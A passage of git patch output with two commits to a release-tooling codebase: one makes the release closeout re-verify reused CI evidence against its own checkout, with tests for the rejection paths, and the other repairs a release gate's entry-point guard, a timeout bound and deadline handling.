the release tree, a recorded binding value that disagrees with what this checkout computes, or a closeout with no verifier at all all fall back to the same-run anchor and record why, so they fail the run identity checks as well. Expiry, container digest, job window, and job success are untouched and still apply to a reused artifact exactly as to a same-run one. Anchoring the row is necessary but not sufficient: the claim evaluator reads each evidence row at the release commit, and a reused row was produced at an earlier one. That is precisely what the binding equates, so the closeout reads a binding-verified row at the release commit while the ledger keeps the manifest identity, and the reused run and commit, untouched. The row's own source tree is still compared against this release, so a binding that does not equate the trees still fails closed. The attempt cap now keys off the publishing run rather than off reuse, so a reuse block naming the current run cannot use it to claim an attempt that has not happened. Closes #1552 Co-Authored-By: Claude Opus 5 --- scripts/codestory-release-cell-manifest.mjs | 43 +--- scripts/codestory-release-claims.mjs | 43 ++++ scripts/codestory-release-closeout.mjs | 116 +++++++++- .../tests/codestory-release-closeout.test.mjs | 207 ++++++++++++++++++ 4 files changed, 360 insertions(+), 49 deletions(-) diff --git a/scripts/codestory-release-cell-manifest.mjs b/scripts/codestory-release-cell-manifest.mjs index 91e7f74aa..6dfdbdc72 100644 --- a/scripts/codestory-release-cell-manifest.mjs +++ b/scripts/codestory-release-cell-manifest.mjs @@ -1,6 +1,5 @@ #!/usr/bin/env node -import { execFileSync } from "node:child_process"; import { createHash } from "node:crypto"; import { mkdirSync, readFileSync, statSync, writeFileSync } from "node:fs"; import path from "node:path"; @@ -10,6 +9,7 @@ import { deriveTrustedGitIdentity, loadReleaseClaimGraph, releaseClaimGraphDigest, + verifyReuseBinding, } from "./codestory-release-claims.mjs"; import { deriveReleaseCells, @@ -17,6 +17,8 @@ import { validateReleaseCellManifest, } from "./codestory-release-closeout.mjs"; +export { verifyReuseBinding }; + const PRODUCER_MAP_SCHEMA = "codestory.release-actions-provenance/v1"; const ACTIONS_DIGEST = /^sha256:[0-9a-f]{64}$/u; @@ -477,45 +479,6 @@ export function buildTrustedProducerMap({ }; } -/// Verify a reuse binding against the local repository and return its recorded value. -export function verifyReuseBinding({ binding, repository, releaseCommit, reusedCommit }) { - const run = (args) => - execFileSync("git", args, { cwd: repository, encoding: "utf8" }).trim(); - if (binding === "source_tree") { - const releaseTree = run(["rev-parse", `${releaseCommit}^{tree}`]); - const reusedTree = run(["rev-parse", `${reusedCommit}^{tree}`]); - if (releaseTree !== reusedTree) { - fail(`reused commit ${reusedCommit} tree ${reusedTree} does not match release tree ${releaseTree}`); - } - try { - execFileSync("git", ["merge-base", "--is-ancestor", reusedCommit, releaseCommit], { - cwd: repository, - }); - } catch { - fail(`reused commit ${reusedCommit} is not an ancestor of the release commit`); - } - return releaseTree; - } - if (binding === "native_fingerprint") { - const script = new URL("./native-fingerprint.mjs", import.meta.url).pathname; - const fingerprint = (ref) => - execFileSync(process.execPath, [script, "--ref", ref], { - cwd: repository, - encoding: "utf8", - }).trim(); - const releasePrint = fingerprint(releaseCommit); - const reusedPrint = fingerprint(reusedCommit); - if (releasePrint !== reusedPrint) { - fail( - `native fingerprint of reused commit ${reusedCommit} (${reusedPrint}) does not match ` - + `the release commit (${releasePrint}); accelerator evidence cannot be inherited`, - ); - } - return releasePrint; - } - fail(`unknown reuse binding ${binding}`); -} - async function githubPages(url, token, field) { const values = []; for (let page = 1; ; page += 1) { diff --git a/scripts/codestory-release-claims.mjs b/scripts/codestory-release-claims.mjs index b3750979d..3a3a6e2e6 100644 --- a/scripts/codestory-release-claims.mjs +++ b/scripts/codestory-release-claims.mjs @@ -172,6 +172,49 @@ export function deriveTrustedGitIdentity({ repoRoot, expectedSha }) { }; } +/// Verify a reuse binding against the local repository and return its recorded value. +/// +/// Both sides of the release ledger need this: the producer proves the binding before it admits +/// cross-run evidence, and the closeout re-proves it against its own checkout before it anchors a +/// reused row to the earlier run. +export function verifyReuseBinding({ binding, repository, releaseCommit, reusedCommit }) { + if (binding === "source_tree") { + const releaseTree = git(["rev-parse", `${releaseCommit}^{tree}`], repository); + const reusedTree = git(["rev-parse", `${reusedCommit}^{tree}`], repository); + if (releaseTree !== reusedTree) { + fail(`reused commit ${reusedCommit} tree ${reusedTree} does not match release tree ${releaseTree}`); + } + if (spawnSync("git", ["merge-base", "--is-ancestor", reusedCommit, releaseCommit], { + cwd: repository, + encoding: "utf8", + }).status !== 0) { + fail(`reused commit ${reusedCommit} is not an ancestor of the release commit`); + } + return releaseTree; + } + if (binding === "native_fingerprint") { + const script = fileURLToPath(new URL("./native-fingerprint.mjs", import.meta.url)); + const fingerprint = (ref) => { + const result = spawnSync(process.execPath, [script, "--ref", ref], { + cwd: repository, + encoding: "utf8", + }); + if (result.status !== 0) fail(`native fingerprint of ${ref} failed: ${result.stderr.trim()}`); + return result.stdout.trim(); + }; + const releasePrint = fingerprint(releaseCommit); + const reusedPrint = fingerprint(reusedCommit); + if (releasePrint !== reusedPrint) { + fail( + `native fingerprint of reused commit ${reusedCommit} (${reusedPrint}) does not match ` + + `the release commit (${releasePrint}); accelerator evidence cannot be inherited`, + ); + } + return releasePrint; + } + fail(`unknown reuse binding ${binding}`); +} + function uniqueById(values, label) { if (!Array.isArray(values) || values.length === 0) fail(`${label} must be a non-empty array`); const found = new Map(); diff --git a/scripts/codestory-release-closeout.mjs b/scripts/codestory-release-closeout.mjs index 5b20537d0..e7fed073f 100644 --- a/scripts/codestory-release-closeout.mjs +++ b/scripts/codestory-release-closeout.mjs @@ -18,12 +18,14 @@ import { loadReleaseClaimGraph, releaseClaimGraphDigest, releaseClaimIdentityMatchesFormat, + verifyReuseBinding, } from "./codestory-release-claims.mjs"; const MANIFEST_EVALUATION_SCHEMA = "codestory.release-cell-evaluation/v1"; const PRODUCER_MAP_SCHEMA = "codestory.release-actions-provenance/v1"; const TRUSTED_EXCEPTIONS_SCHEMA = "codestory.release-closeout-exceptions/v1"; const SHA256 = /^[0-9a-f]{64}$/u; +const FULL_SHA = /^[0-9a-f]{40}$/u; const ACTIONS_DIGEST = /^sha256:[0-9a-f]{64}$/u; const SEMVER = /^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?$/u; const AGGREGATE_IDENTITY = /^(?:aggregate|all|matrix|mixed|multiple|various)$/iu; @@ -266,10 +268,67 @@ export function validateReleaseCellManifest({ manifest, cell, graph, version }) }); } -function trustedProducerIndex({ trustedProducers, cells, gitIdentity, graph, phase }) { +/// The run and commit one producer row has to be bound to. +/// +/// Same-run rows anchor to the Actions run that is publishing. A row carrying a reuse block +/// anchors to the reused run instead, but only once the closeout has re-proved, against its own +/// checkout, the binding the claim graph declares for that cell's group. Every rejecting path +/// records its reason and falls back to the same-run anchor, so unverifiable reuse also fails the +/// run identity checks that follow. +function producerAnchor({ cell, row, trustedProducers, gitIdentity, bindings, verify, errors }) { + const sameRun = { runId: trustedProducers.run_id, headSha: gitIdentity.commit, reused: false }; + const reused = row.reused_from; + if (reused === undefined) return sameRun; + if (reused === null || typeof reused !== "object" || Array.isArray(reused)) { + errors.push(`trusted producer map ${cell.id} reuse record must be an object`); + return sameRun; + } + const binding = bindings.get(cell.group_id); + if (binding === undefined || reused.binding !== binding) { + errors.push(`trusted producer map ${cell.id} reuses evidence under an undeclared binding`); + return sameRun; + } + if (!/^[1-9]\d*$/u.test(String(reused.run_id ?? "")) || !FULL_SHA.test(String(reused.head_sha ?? ""))) { + errors.push(`trusted producer map ${cell.id} reused run identity is invalid`); + return sameRun; + } + if (typeof verify !== "function") { + errors.push(`trusted producer map ${cell.id} reuses evidence this closeout cannot verify`); + return sameRun; + } + let bindingValue; + try { + bindingValue = verify({ + binding, + releaseCommit: gitIdentity.commit, + reusedCommit: reused.head_sha, + }); + } catch (error) { + errors.push(`trusted producer map ${cell.id} ${binding} reuse is unverified: ${error.message}`); + return sameRun; + } + if (reused.binding_value !== bindingValue) { + errors.push(`trusted producer map ${cell.id} recorded ${binding} value does not bind this release`); + return sameRun; + } + return { runId: reused.run_id, headSha: reused.head_sha, reused: true }; +} + +function trustedProducerIndex({ + trustedProducers, + cells, + gitIdentity, + graph, + phase, + verifyReuseBinding: verify, +}) { const errors = []; if (trustedProducers === null || typeof trustedProducers !== "object" || Array.isArray(trustedProducers)) { - return { byCell: new Map(), errors: ["closeout requires a separately trusted producer map"] }; + return { + byCell: new Map(), + reusedByCell: new Map(), + errors: ["closeout requires a separately trusted producer map"], + }; } if (trustedProducers.schema !== PRODUCER_MAP_SCHEMA) { errors.push(`trusted producer map schema must be ${PRODUCER_MAP_SCHEMA}`); @@ -342,6 +401,10 @@ function trustedProducerIndex({ trustedProducers, cells, gitIdentity, graph, pha for (const cellId of byCell.keys()) { if (!required.has(cellId)) errors.push(`trusted producer map contains undeclared cell ${cellId}`); } + const bindings = new Map((graph.closeout.cell_groups ?? []) + .filter((group) => typeof group.reuse_binding === "string") + .map((group) => [group.id, group.reuse_binding])); + const reusedByCell = new Map(); for (const cell of cells) { const row = byCell.get(cell.id); if (!row) { @@ -369,10 +432,23 @@ function trustedProducerIndex({ trustedProducers, cells, gitIdentity, graph, pha errors.push(`trusted producer map ${cell.id} ${key} must equal ${constrained}`); } } - if (row.producer_run_id !== trustedProducers.run_id) { + const anchor = producerAnchor({ + cell, + row, + trustedProducers, + gitIdentity, + bindings, + verify, + errors, + }); + if (anchor.reused) reusedByCell.set(cell.id, anchor.headSha); + if (row.producer_run_id !== anchor.runId) { errors.push(`trusted producer map ${cell.id} run identity differs from the Actions run`); } - if (/^[1-9]\d*$/u.test(String(row.producer_run_attempt ?? "")) + // An attempt is bounded by its own run's attempt counter, and the closeout knows that counter + // for the publishing run alone. A reuse block naming that run stays capped all the same. + if (row.producer_run_id === trustedProducers.run_id + && /^[1-9]\d*$/u.test(String(row.producer_run_attempt ?? "")) && /^[1-9]\d*$/u.test(String(trustedProducers.current_run_attempt ?? "")) && Number(row.producer_run_attempt) > Number(trustedProducers.current_run_attempt)) { errors.push(`trusted producer map ${cell.id} uses a future run attempt`); @@ -405,7 +481,7 @@ function trustedProducerIndex({ trustedProducers, cells, gitIdentity, graph, pha errors.push(`trusted producer map ${cell.id} artifact is expired`); } if (artifact.workflow_run_id !== row.producer_run_id - || artifact.head_sha !== gitIdentity.commit) { + || artifact.head_sha !== anchor.headSha) { errors.push(`trusted producer map ${cell.id} artifact run identity changed`); } } @@ -416,7 +492,7 @@ function trustedProducerIndex({ trustedProducers, cells, gitIdentity, graph, pha if (!/^[1-9]\d*$/u.test(String(job.id ?? ""))) { errors.push(`trusted producer map ${cell.id} job id is invalid`); } - if (job.run_id !== row.producer_run_id || job.head_sha !== gitIdentity.commit) { + if (job.run_id !== row.producer_run_id || job.head_sha !== anchor.headSha) { errors.push(`trusted producer map ${cell.id} job run identity changed`); } if (job.run_attempt !== row.producer_run_attempt @@ -443,7 +519,7 @@ function trustedProducerIndex({ trustedProducers, cells, gitIdentity, graph, pha errors.push(`trusted producer map download inventory contains unused artifact ${artifactId}`); } } - return { byCell, errors }; + return { byCell, reusedByCell, errors }; } function producerAuthenticationProblems(manifest, trustedProducer) { @@ -573,6 +649,7 @@ function evaluateCell({ evaluatedAt, trustedExceptions, trustedExceptionIdentity, + reusedByCell, }) { const focal = manifests.get(cell.id); const claims = evaluationClaims(graph, cell, focal); @@ -584,7 +661,15 @@ function evaluateCell({ : dependencyCell(cells, claim.id, focal.evidence.identity.target), ); } - const evidence = evidenceCells.map((dependency) => manifests.get(dependency.id).evidence); + // A reused row was produced at an earlier commit, which is the whole point of the binding the + // closeout just re-proved against its own checkout. Reading it at the release commit applies + // that binding; the row's own source tree is still compared against this release, so a binding + // that does not equate the trees still fails. The ledger keeps the manifest identity untouched. + const evidence = evidenceCells.map((dependency) => { + const row = manifests.get(dependency.id).evidence; + if (!reusedByCell.has(dependency.id)) return row; + return { ...row, identity: { ...row.identity, commit: gitIdentity.commit } }; + }); const requestedClaims = claims.map((claim) => ({ id: claim.id, accepted_risks: [...claim.accepted_risks], @@ -802,6 +887,9 @@ export function evaluateReleaseCloseout({ trustedProducers = null, trustedExceptionDocument = null, artifactBindings = null, + // Re-proves a reuse binding against this closeout's own checkout. Absent, every reuse block is + // refused rather than trusted on the producer map's say-so. + verifyReuseBinding: verify = null, }) { if (!SEMVER.test(version)) fail("version must be semantic version text without a leading v"); const evaluatedEpoch = Date.parse(evaluatedAt); @@ -810,7 +898,14 @@ export function evaluateReleaseCloseout({ } const graphSha256 = releaseClaimGraphDigest(graph); const cells = deriveReleaseCells(graph, phase); - const trusted = trustedProducerIndex({ trustedProducers, cells, gitIdentity, graph, phase }); + const trusted = trustedProducerIndex({ + trustedProducers, + cells, + gitIdentity, + graph, + phase, + verifyReuseBinding: verify, + }); const performanceCell = cells.find(({ id }) => id === graph.exception_policy.eligible_evidence_type); const trustedException = trustedExceptionInput({ document: trustedExceptionDocument, @@ -945,6 +1040,7 @@ export function evaluateReleaseCloseout({ evaluatedAt, trustedExceptions: trustedException.exceptions, trustedExceptionIdentity: trustedException.identity, + reusedByCell: trusted.reusedByCell, }); } catch (error) { evaluation = { @@ -1189,6 +1285,8 @@ function main() { trustedProducers, trustedExceptionDocument, artifactBindings: downloaded.artifactBindings, + verifyReuseBinding: ({ binding, releaseCommit, reusedCommit }) => + verifyReuseBinding({ binding, repository: repoRoot, releaseCommit, reusedCommit }), }); writeReleaseCloseout(text(values["out-dir"], "--out-dir"), result); console.log(JSON.stringify(result.summary, null, 2)); diff --git a/scripts/tests/codestory-release-closeout.test.mjs b/scripts/tests/codestory-release-closeout.test.mjs index 32575cb8d..a9c990e2c 100644 --- a/scripts/tests/codestory-release-closeout.test.mjs +++ b/scripts/tests/codestory-release-closeout.test.mjs @@ -217,6 +217,7 @@ function evaluate( trustedProducers = trustedProducersFor(phase), trustedExceptionDocument = null, artifactBindings = null, + verifyReuseBinding = null, ) { const bindings = artifactBindings ?? manifests.map((manifest) => { const producer = trustedProducers?.producers?.find(({ cell_id: cellId }) => @@ -240,9 +241,54 @@ function evaluate( trustedProducers, trustedExceptionDocument, artifactBindings: bindings, + verifyReuseBinding, }); } +// ── Cross-run evidence reuse ──────────────────────────────────────────────────────────────── + +const reusedRunId = "777"; +const reusedCommit = "3".repeat(40); + +/// Stands in for the git binding proof `main()` runs against the closeout's own checkout. +function reuseVerifier({ + // A commit is its own ancestor, so the release commit always satisfies the tree binding. + ancestors = [reusedCommit, gitIdentity.commit], + value = gitIdentity.source_tree, +} = {}) { + return ({ binding, releaseCommit, reusedCommit: reused }) => { + assert.equal(releaseCommit, gitIdentity.commit); + if (binding !== "source_tree") throw new Error(`unknown reuse binding ${binding}`); + if (!ancestors.includes(reused)) { + throw new Error(`reused commit ${reused} is not an ancestor of the release commit`); + } + return value; + }; +} + +/// Re-anchor the source cell's producer row onto a prior run, exactly as the producer map does +/// once release preflight selects source-proof reuse. +function reuseSourceBehavior(trustedProducers, manifests, reusedFrom = {}) { + const row = trustedProducers.producers.find(({ cell_id: cellId }) => cellId === "source_behavior"); + row.producer_run_id = reusedRunId; + row.reused_from = { + run_id: reusedRunId, + head_sha: reusedCommit, + binding: "source_tree", + binding_value: gitIdentity.source_tree, + ...reusedFrom, + }; + row.artifact.workflow_run_id = reusedRunId; + row.artifact.head_sha = reusedCommit; + row.job.run_id = reusedRunId; + row.job.head_sha = reusedCommit; + // The reused manifest was produced by that earlier run, at the binding-equal commit. + const manifest = manifests.find(({ cell_id: cellId }) => cellId === "source_behavior"); + manifest.evidence.identity.producer_run_id = reusedRunId; + manifest.evidence.identity.commit = reusedCommit; + return row; +} + test("cell inventory is derived only from the release claim graph", () => { const prePublish = deriveReleaseCells(graph, "pre_publish"); const postPublish = deriveReleaseCells(graph, "post_publish"); @@ -592,3 +638,164 @@ test("producer identity is accepted only from the separately trusted map", () => assert.ok(rejectedWindow.summary.input_errors.some((message) => message.includes("outside its job window"))); }); + +test("a binding-verified reuse row is anchored to the run and commit it was produced by", () => { + const manifests = manifestsFor("pre_publish"); + const trusted = trustedProducersFor("pre_publish"); + reuseSourceBehavior(trusted, manifests); + const calls = []; + const verify = reuseVerifier(); + const accepted = evaluate("pre_publish", manifests, null, trusted, null, null, (request) => { + calls.push(request); + return verify(request); + }); + assert.equal(accepted.decision, "accept"); + assert.deepEqual(accepted.summary.input_errors, []); + assert.deepEqual(accepted.summary.failed_cells, []); + // The closeout re-proves the binding itself rather than trusting the producer map's word. + assert.deepEqual(calls, [{ + binding: "source_tree", + releaseCommit: gitIdentity.commit, + reusedCommit, + }]); + // The ledger keeps the reused run and commit rather than restating the publishing run. + const row = accepted.ledger.cells.find(({ id }) => id === "source_behavior"); + assert.equal(row.identity.producer_run_id, reusedRunId); + assert.equal(row.identity.commit, reusedCommit); + // Cells that were not reused stay bound to the publishing run. + const packaged = accepted.ledger.cells.find(({ id }) => id === "package_identity:windows-x64"); + assert.equal(packaged.identity.producer_run_id, "12345"); + assert.equal(packaged.identity.commit, gitIdentity.commit); +}); + +test("a reuse row whose binding the closeout cannot reprove fails closed", () => { + const rejections = [ + ["no binding is declared for the cell group", (trusted, manifests) => { + const row = trusted.producers.find(({ cell_id: cellId }) => + cellId === "package_identity:windows-x64"); + row.producer_run_id = reusedRunId; + row.reused_from = { + run_id: reusedRunId, + head_sha: reusedCommit, + binding: "source_tree", + binding_value: gitIdentity.source_tree, + }; + row.artifact.workflow_run_id = reusedRunId; + row.artifact.head_sha = reusedCommit; + row.job.run_id = reusedRunId; + row.job.head_sha = reusedCommit; + manifests.find(({ cell_id: cellId }) => cellId === "package_identity:windows-x64") + .evidence.identity.producer_run_id = reusedRunId; + }, "package_identity:windows-x64 reuses evidence under an undeclared binding"], + ["the row names a binding the group did not declare", (trusted, manifests) => { + reuseSourceBehavior(trusted, manifests, { binding: "native_fingerprint" }); + }, "source_behavior reuses evidence under an undeclared binding"], + ["the reused commit is not an ancestor of the release commit", (trusted, manifests) => { + reuseSourceBehavior(trusted, manifests, { head_sha: "9".repeat(40) }); + }, "is not an ancestor of the release commit"], + ["the reused commit does not resolve to the release tree", (trusted, manifests) => { + reuseSourceBehavior(trusted, manifests); + // A verifier that proves the tree binding cannot prove it here. + trusted.producers.find(({ cell_id: cellId }) => cellId === "source_behavior") + .reused_from.binding_value = "e".repeat(40); + }, "source_behavior recorded source_tree value does not bind this release"], + ["the reused run identity is malformed", (trusted, manifests) => { + reuseSourceBehavior(trusted, manifests, { run_id: "0" }); + }, "source_behavior reused run identity is invalid"], + ["the reuse record is not an object", (trusted, manifests) => { + reuseSourceBehavior(trusted, manifests); + trusted.producers.find(({ cell_id: cellId }) => cellId === "source_behavior") + .reused_from = reusedCommit; + }, "source_behavior reuse record must be an object"], + ["the reused artifact expired", (trusted, manifests) => { + reuseSourceBehavior(trusted, manifests).artifact.expired = true; + }, "source_behavior artifact is expired"], + ["the reused artifact still claims the publishing run's commit", (trusted, manifests) => { + reuseSourceBehavior(trusted, manifests).artifact.head_sha = gitIdentity.commit; + }, "source_behavior artifact run identity changed"], + ["the reused job still claims the publishing run's commit", (trusted, manifests) => { + reuseSourceBehavior(trusted, manifests).job.head_sha = gitIdentity.commit; + }, "source_behavior job run identity changed"], + ["a reuse block naming the publishing run escapes its attempt cap", (trusted, manifests) => { + const row = reuseSourceBehavior(trusted, manifests, { + run_id: trusted.run_id, + head_sha: gitIdentity.commit, + }); + row.producer_run_id = trusted.run_id; + row.producer_run_attempt = "2"; + row.artifact.workflow_run_id = trusted.run_id; + row.artifact.head_sha = gitIdentity.commit; + row.job.run_id = trusted.run_id; + row.job.head_sha = gitIdentity.commit; + row.job.run_attempt = "2"; + const manifest = manifests.find(({ cell_id: cellId }) => cellId === "source_behavior"); + manifest.evidence.identity.producer_run_id = trusted.run_id; + manifest.evidence.identity.commit = gitIdentity.commit; + }, "source_behavior uses a future run attempt"], + ]; + for (const [label, mutate, expected] of rejections) { + const manifests = manifestsFor("pre_publish"); + const trusted = trustedProducersFor("pre_publish"); + mutate(trusted, manifests); + const rejected = evaluate("pre_publish", manifests, null, trusted, null, null, reuseVerifier()); + assert.equal(rejected.decision, "reject", label); + assert.ok( + rejected.summary.input_errors.some((message) => message.includes(expected)), + `${label}: ${JSON.stringify(rejected.summary.input_errors)}`, + ); + } +}); + +test("a closeout with no way to reprove a binding refuses the reuse row outright", () => { + const manifests = manifestsFor("pre_publish"); + const trusted = trustedProducersFor("pre_publish"); + reuseSourceBehavior(trusted, manifests); + const rejected = evaluate("pre_publish", manifests, null, trusted); + assert.equal(rejected.decision, "reject"); + assert.ok(rejected.summary.input_errors.some((message) => + message.includes("source_behavior reuses evidence this closeout cannot verify"))); +}); + +test("a reused artifact container is still bound by its digest", () => { + const manifests = manifestsFor("pre_publish"); + const trusted = trustedProducersFor("pre_publish"); + reuseSourceBehavior(trusted, manifests); + const bindings = manifests.map((manifest) => { + const producer = trusted.producers.find(({ cell_id: cellId }) => cellId === manifest.cell_id); + return { + cell_id: manifest.cell_id, + producer_artifact: producer.producer_artifact, + artifact_id: producer.artifact.id, + artifact_digest: producer.artifact.digest, + manifest_sha256: canonicalManifestSha(manifest), + }; + }); + bindings.find(({ cell_id: cellId }) => cellId === "source_behavior") + .artifact_digest = `sha256:${"f".repeat(64)}`; + const rejected = evaluate( + "pre_publish", + manifests, + null, + trusted, + null, + bindings, + reuseVerifier(), + ); + assert.equal(rejected.decision, "reject"); + assert.ok(rejected.summary.failed_cells.includes("source_behavior")); + assert.ok(rejected.evaluations.get("source_behavior").value.failures.some((message) => + message.includes("artifact_digest does not match Actions provenance"))); +}); + +test("reuse never lets stale evidence through the checks that do not depend on the commit", () => { + // The reused commit is admissible for the commit identity the binding equates, and for nothing + // else: a reused manifest whose own tree is not this release's tree still fails. + const manifests = manifestsFor("pre_publish"); + const trusted = trustedProducersFor("pre_publish"); + reuseSourceBehavior(trusted, manifests); + manifests.find(({ cell_id: cellId }) => cellId === "source_behavior") + .evidence.identity.source_tree = "e".repeat(40); + const rejected = evaluate("pre_publish", manifests, null, trusted, null, null, reuseVerifier()); + assert.equal(rejected.decision, "reject"); + assert.ok(rejected.summary.failed_cells.includes("source_behavior")); +}); From 733da3c0b29f4679b078e8f1c217427d2b7f9271 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 09:10:51 -0500 Subject: [PATCH 025/132] repair the pinned-provision gate's fail-open entry point and its transport bound The entry-point guard the last commit added compared path.resolve(argv[1]) against the realpath Node hands ESM in import.meta.url, so any symlink on the invocation path made main() never run and the release gate exited 0 with no output. A gate cannot have a guard whose failure mode is a vacuous pass: the proof is an entry point again and always runs its body, and the bounded wait moved to scripts/lib/wait-for-managed-runtime.mjs so the test can import it without running the proof. The same commit also hoisted the child-exit guard above the metadata read, which turned a launcher that published managed metadata and then exited 0 into a reported failure. Each tick now reads, resolves a managed source, and only then runs the liveness guards, which keeps the drift fix without inventing a new spurious failure on the tag path. --timeout-ms with a missing or non-numeric value yielded NaN, and every Date.now() > NaN is false, so the one flag that declares the bound silently removed it. Both the script and the wait now refuse it. tool_until_ready threaded its caller's deadline into the readiness retries but not into the requests themselves, and send() kept minting a fresh full budget, so search_until_ready still allowed roughly twice its declared timeout. The deadline now reaches the transport. The deadline self-test scripted the host at tool(), above send(), so it could not see that overrun at all, and its default-bound leg used a converging host whose two retries happened to sum to the timeout, so a loosened default would still have passed. The scripted host now replaces the pipes rather than the methods, and the default-bound leg drives a host that never becomes ready. scripts/tests/prove-plugin-pinned-provision.test.mjs ran in no workflow. It is now wired into plugin-static.yml and into plugin-release.yml's plugin-proof job, paired in check-workflow-policy.mjs both places. Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 11 ++ .../self_test_installation.py | 8 +- .../self_test_process_deadline.py | 151 +++++++++++++-- .../subprocess_control.py | 26 ++- .github/workflows/plugin-release.yml | 5 + .github/workflows/plugin-static.yml | 12 ++ scripts/lib/wait-for-managed-runtime.mjs | 48 +++++ scripts/prove-plugin-pinned-provision.mjs | 173 ++++++++---------- .../prove-plugin-pinned-provision.test.mjs | 138 ++++++++++---- 9 files changed, 414 insertions(+), 158 deletions(-) create mode 100644 scripts/lib/wait-for-managed-runtime.mjs diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index ceec858e6..4ff00aa44 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -1250,6 +1250,9 @@ function validatePluginAndDraftWorkflows(workflows, violations, graph) { "scripts/install-codestory.ps1", "scripts/prepare-embedded-model.mjs", "scripts/tests/prepare-embedded-model.test.mjs", + "scripts/prove-plugin-pinned-provision.mjs", + "scripts/lib/wait-for-managed-runtime.mjs", + "scripts/tests/prove-plugin-pinned-provision.test.mjs", "crates/codestory-llama-sys/model-contract.json", "crates/codestory-llama-sys/build.rs", "crates/codestory-llama-sys/model_staging.rs", @@ -1272,6 +1275,11 @@ function validatePluginAndDraftWorkflows(workflows, violations, graph) { ]); requireStepRun(violations, pluginFile, job, "Check plugin static wiring", ["node --test plugins/codestory/tests/plugin-static.test.mjs"]); requireStepRun(violations, pluginFile, job, "Check embedded model preparation", ["node --test scripts/tests/prepare-embedded-model.test.mjs"]); + // The pinned-provision proof is the plugin lane's tag gate. Its own suite has to run + // somewhere, or a gate that exits 0 without proving anything reads as a pass. + requireStepRun(violations, pluginFile, job, "Check the pinned provision proof", [ + "node --test scripts/tests/prove-plugin-pinned-provision.test.mjs", + ]); requireStepRun(violations, pluginFile, job, "Check release claim and evidence contracts", [ "scripts/tests/release-evidence-runner-contract.test.mjs", ]); @@ -4465,6 +4473,9 @@ export function validatePluginRelease(workflows, violations) { requireStepRun(violations, file, preflight, "Refuse a changed tool surface", [ "generated-mcp-catalog.json", ]); + requireStepRun(violations, file, object(jobs["plugin-proof"]), "Check the pinned provision proof", [ + "node --test scripts/tests/prove-plugin-pinned-provision.test.mjs", + ]); requireStepRun(violations, file, object(jobs["plugin-proof"]), "Provision the pinned CLI end to end", [ "scripts/prove-plugin-pinned-provision.mjs", ]); diff --git a/.github/scripts/packaged_agent_proof/self_test_installation.py b/.github/scripts/packaged_agent_proof/self_test_installation.py index 5143bb29b..924d4f01c 100644 --- a/.github/scripts/packaged_agent_proof/self_test_installation.py +++ b/.github/scripts/packaged_agent_proof/self_test_installation.py @@ -15,7 +15,13 @@ def __init__(self, responses: list[dict]): self.calls: list[tuple[str, dict, str]] = [] self.tool_attempt_counts: dict[str, int] = {} - def tool(self, name: str, arguments: dict, request_id: str) -> dict: + def tool( + self, + name: str, + arguments: dict, + request_id: str, + deadline: float | None = None, + ) -> dict: self.calls.append((name, arguments, request_id)) try: return next(self.responses) diff --git a/.github/scripts/packaged_agent_proof/self_test_process_deadline.py b/.github/scripts/packaged_agent_proof/self_test_process_deadline.py index db065cc01..b2cffd298 100644 --- a/.github/scripts/packaged_agent_proof/self_test_process_deadline.py +++ b/.github/scripts/packaged_agent_proof/self_test_process_deadline.py @@ -2,6 +2,9 @@ from __future__ import annotations +import json +import queue +from types import SimpleNamespace from unittest.mock import patch from . import subprocess_control @@ -10,6 +13,7 @@ _RETRY_AFTER_MS = 30_000 _TIMEOUT_SECS = 60.0 +_NEVER = float("inf") class _VirtualClock: @@ -26,39 +30,79 @@ def sleep(self, seconds: float) -> None: class _ScriptedHost(McpProcess): - """An McpProcess whose tool calls replay a script instead of a real subprocess.""" - - def __init__(self, timeout: float, script: list[str]) -> None: + """An McpProcess whose stdio is scripted instead of a real subprocess. + + The script replaces the pipes, not the methods, so ``tool`` and ``send`` are the shipped + implementations. A leg that only stubbed ``tool`` could not see the transport's own + deadline, which is the other place a readiness wait can mint a fresh budget. + """ + + def __init__( + self, + clock: _VirtualClock, + timeout: float, + script: list[str], + latencies: list[float] | None = None, + ) -> None: + self.clock = clock self.timeout = timeout + # The last scripted step and latency repeat, so a leg only names its distinct steps. self.script = script - self.calls = 0 + self.latencies = latencies or [0.0] + self.reads = 0 + self.pending: dict | None = None + self.stderr: list[str] = [] self.transcript: list[dict] = [] self.tool_attempt_counts: dict[str, int] = {} - - def tool(self, name: str, arguments: dict, request_id: str) -> dict: - self.calls += 1 - # The last scripted step repeats so a leg only has to name its distinct steps. - step = self.script[min(self.calls, len(self.script)) - 1] + self.lines = self + self.process = SimpleNamespace(stdin=self) + + # --- stdin stand-in ------------------------------------------------------------------- + def write(self, payload: str) -> None: + self.pending = json.loads(payload) + + def flush(self) -> None: + return None + + # --- stdout queue stand-in ------------------------------------------------------------ + def get(self, timeout: float | None = None): + self.reads += 1 + step = self.script[min(self.reads, len(self.script)) - 1] + latency = self.latencies[min(self.reads, len(self.latencies)) - 1] + if timeout is not None and latency > timeout: + # The transport waited its whole remaining bound and the host never answered. + self.clock.now += max(0.0, timeout) + raise queue.Empty + self.clock.now += latency + return json.dumps(self._response(step)) + + def _response(self, step: str) -> dict: + assert self.pending is not None + params = self.pending.get("params", {}) if step == "preparing": return { + "jsonrpc": "2.0", + "id": self.pending.get("id"), "result": { "isError": True, "structuredContent": { "code": "codestory_preparing", "state": "preparing", - "retry_tool": name, + "retry_tool": params.get("name"), "retry_after_ms": _RETRY_AFTER_MS, }, - } + }, } return { + "jsonrpc": "2.0", + "id": self.pending.get("id"), "result": { "structuredContent": { - "query": arguments.get("query"), + "query": params.get("arguments", {}).get("query"), "hits": [], "retrieval": {"state": step}, } - } + }, } @@ -66,7 +110,7 @@ def _run_shared_deadline_leg() -> None: clock = _VirtualClock() # A degraded poll lands mid-window, so the next poll's readiness retries are the only # thing that can push the wait past the shared bound. - host = _ScriptedHost(_TIMEOUT_SECS, ["preparing", "degraded", "preparing"]) + host = _ScriptedHost(clock, _TIMEOUT_SECS, ["preparing", "degraded", "preparing"]) with patch.object(subprocess_control, "time", clock): try: host.search_until_ready({"query": "self-test"}, 